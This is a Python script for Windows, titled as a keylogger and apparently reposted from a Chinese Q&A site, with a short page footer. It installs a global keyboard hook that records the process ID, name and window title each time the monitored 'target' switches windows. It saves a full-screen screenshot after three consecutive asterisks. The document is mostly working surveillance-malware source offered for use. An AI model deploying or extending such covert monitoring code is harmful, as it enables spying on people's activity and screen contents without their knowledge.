# -*- coding: UTF-8 -*-
##############################################################################
# 程序名:screenshot_keylogger.py
# 功能:监控键盘输入,当用户连续输入3次“*”时,截取屏幕并保存到程序所在目录下的'screen.bmp'文件。
# 说 明:运行平台Windows。
##############################################################################

import time
import win32gui
import win32ui
import win32con
import win32api
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
import os

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

star_count = 0  # 记录连续输入“*”的次数


def get_current_process():
    hwnd = user32.GetForegroundWindow()  # 获得前台窗口句柄
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    process_id = "%d" % pid.value  # 获得进程PID

    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)  # 获得进程名

    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)  # 获得窗口名

    print
    print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    print

    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


def screen_shot():
    global star_count  # 使用全局变量star_count
    star_count = 0  # 重置连续输入“*”的次数

    hdesktop = win32gui.GetDesktopWindow()  # 获得桌面窗口句柄

    # 获得显示器尺寸
    width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
    height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
    left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
    top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

    desktop_dc = win32gui.GetWindowDC(hdesktop)  # 创建设备描述表
    img_dc = win32ui.CreateDCFromHandle(desktop_dc)

    mem_dc = img_dc.CreateCompatibleDC()  # 创建基于内存的设备描述表

    screenshot = win32ui.CreateBitmap()
    screenshot.CreateCompatibleBitmap(img_dc, width, height)  # 创建位图对象
    mem_dc.SelectObject(screenshot)
    mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)  # 复制屏幕
    # 保存到文件
    screenshot.SaveBitmapFile(mem_dc, os.path.join(os.path.dirname(__file__), 'screen.bmp'))  # 将位图保存到程序所在目录
    print("截图已保存")

    # 内存释放
    mem_dc.DeleteDC()
    win32gui.DeleteObject(screenshot.GetHandle())


def key_event(event):
    global current_window
    global star_count

    if event.WindowName != current_window:  # 检查目标是否切换了窗口
        current_window = event.WindowName
        get_current_process()

    if event.Ascii == 42:  # 监测输入“*”
        star_count += 1
        if star_count == 3:  # 连续输入3次“*”
            screen_shot()  # 截取屏幕
    else:
        star_count = 0  # 非“*”按键,重置计数

    return True  # 返回到下一个钩子事件


def key_logger():
    hooker = pyHook.HookManager()  # 创建钩子函数管理器
    hooker.KeyDown = key_event  # 注册钩子按键事件的处理函数
    hooker.HookKeyboard()  # 创建键盘钩子
    pythoncom.PumpMessages()


if __name__ == '__main__':
    key_logger()
Python键盘记录与屏幕截图:监控连续输入“*”并保存截图

原文地址: https://www.cveoy.top/t/topic/nAN3 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录